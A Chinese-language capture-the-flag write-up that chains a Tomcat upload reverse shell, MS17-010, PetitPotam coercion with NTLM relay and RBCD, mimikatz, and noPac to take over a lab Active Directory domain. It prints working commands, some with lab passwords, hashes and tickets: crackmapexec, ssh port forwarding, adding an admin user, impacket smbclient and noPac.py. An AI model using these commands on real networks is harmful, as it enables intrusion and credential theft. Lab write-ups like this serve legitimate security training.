春秋云境-spoofing
flag01
8080端口,猜测tomcat,扫一下目录
发现docs目录,进去看发现该tomcat版本存在文件读取,于是尝试攻击
发现有一个UploadServlet
然后使用文件包含反弹shell
1.jsp
1 | <% |
然后我们传入后读取flag
然后我们从自己vps中下载fscan和chisel
flag02
下载好后扫描,看看扫描个什么出来,然后我们在自己vps中起chisel
发现了经典ms17_010
我们kali启动
在一边启动kali时候我们启动chisel将内网映射到我们的vps中,然后这样直接设置rhost就可以,不用走socks了
emmmm还是别学我,因为里面服务很多,而且没有web服务,走socks会方便很多
flag03
然后我们抓到用户凭据
然后我们发现在26这台机子上有webdav
也存在PetitPotam
1 | proxychains ./cme smb 172.22.11.0/24 -u yangmei -p xrihGHgoNZQ -M webdav |
所以我们可以尝试走强制认证
于是我们先把kali的ssh publickey写到我们控制了的45机器中,然后直接连接
但是我们需要使用PetitPotam和NTLM-Relay打强制认证,那么我们还是需要将流量转发到本机上,这样才能联动NTLM-Relay和PetitPltam
1 | ssh -i id_rsa root@39.98.116.245 -D socks代理:PORT -R \*:79:127.0.0.1:80 |
其实这里我对这个代理转发纠结了好久为什么这样才能让45的流量转发到本地
这里需要解决的一点就是0.0.0.0和127.0.0.1的区别
0.0.0.0是所有外部都可以访问的地址,但是127.0.0.1只能内网中访问,但是如果你直接设置ssh反向端口转发的话只会监听127.0.0.1,没有办法监听到外部访问80端口的流量,于是这里需要让一个所有外部都可以访问的0.0.0.0地址的80流量转发到127.0.0.1的79端口然后再将79端口的流量转到本机的80端口,让自己127.0.0.1的80端口监听0.0.0.0:80端口流量,从而实现这俩的联动实现强制认证
以及这里为什么ldap后面要用DC的ip,是因为在域中,DC是负责处理LDAP请求的服务器
还有为什么用XR-Desktop作为恶意机器账户来设置RBCD,这包的,如果你不理解这句话,建议重新学一下RBCD
然后我们使用PetitPotam触发XR-LCM3AE8B 认证到172.22.11.76,到这里我们已经强制认证成功了
然后我们强制认证成功
之后我们就可以直接申请XR-LCM3AE8B的ST了,然后用我们的银票去打
1 | 这里我的hash和上面截图抓到的不一样是因为我中间关了一次靶机,所以这里如果想存payload建议换成自己抓到的 |
然后我们拿到flag03
flag04
然后我们的想法是在这台机子里抓hash,那么我们先添加一个adminstrator用户
1 | net user fault 123456. /add |
之后我们使用rdesktop登录上去,但是到这里我被一点卡住了,就是怎么传mimikatz上去,所以去找了发现可以使用smbclient去传,于是就出现了这个
1 | KRB5CCNAME=/home/fault/Desktop/impacket-0.11.0/examples/administrator.ccache proxychains4 python3 smbclient.py xiaorang.lab/administrator@XR-LCM3AE8B.xiaorang.lab -k -no-pass -target-ip 172.22.11.26 |
然后我们尝试在win中运行mimikatz来抓hash
至于这里为什么抓到的是zhanghui的可以用,是因为使用ADfind工具查找之后发现他在MA_Admin组,对computer可以创建对象或是向域中添加机器账户,所以可以打通nopac(其实题目考点也说了最后考nopac)
然后我们
1 | AdFind.exe -b "CN=Computers,DC=xiaorang,DC=lab" nTSecurityDescriptor -sddl+++ |
1 | proxychains4 python3 noPac.py xiaorang.lab/zhanghui -hashes :1232126b24cdf8c9bd2f788a9d7c7ed1 -use-ldap -create-child -dc-ip 172.22.11.6 -shell |
就拿到了最后一个flag
域中知识总结
NTLM-Relay
结合名字我们也能知道它是NTLM中继攻击,也就是强制目标服务器或者用户使用LM HASH/NTLM HASH对攻击者的服务器进行认证,然后把这个认证中继到其它服务器中从而进行横向
NTLM-Relay强制认证方式
参考这篇文章
https://forum.butian.net/share/1944
我们这里用到的是PeitiPotam
https://github.com/topotam/PetitPotam
用到的是这个工具
为什么不能直接搞DC
因为目前只发现这一个用户,而且MAQ=0,MAQ就是域中允许计算器账户的数量限制,如果设置为0,那么就没有办法往域中添加计算机账户,impacket的addcomputer有两种方法
samr受到MAQ=0的限制,ldaps因为没有TLS,所以都用不了
域控存在nopac,但是当前用户对域内没有creatchild的ACL,而且甚至对当前机器没有WriteDacl权限,那么就没有办法修改SanAccountName,这个可以参考这篇文章
https://xz.aliyun.com/t/9997?time__1311=n4%2BxnD0DuDRDcGiGCCD%2Fia4BKPxxj22rTMkdTD#toc-10
RBCD攻击
建议学习这篇文章
https://blog.csdn.net/huohaowen/article/details/139206002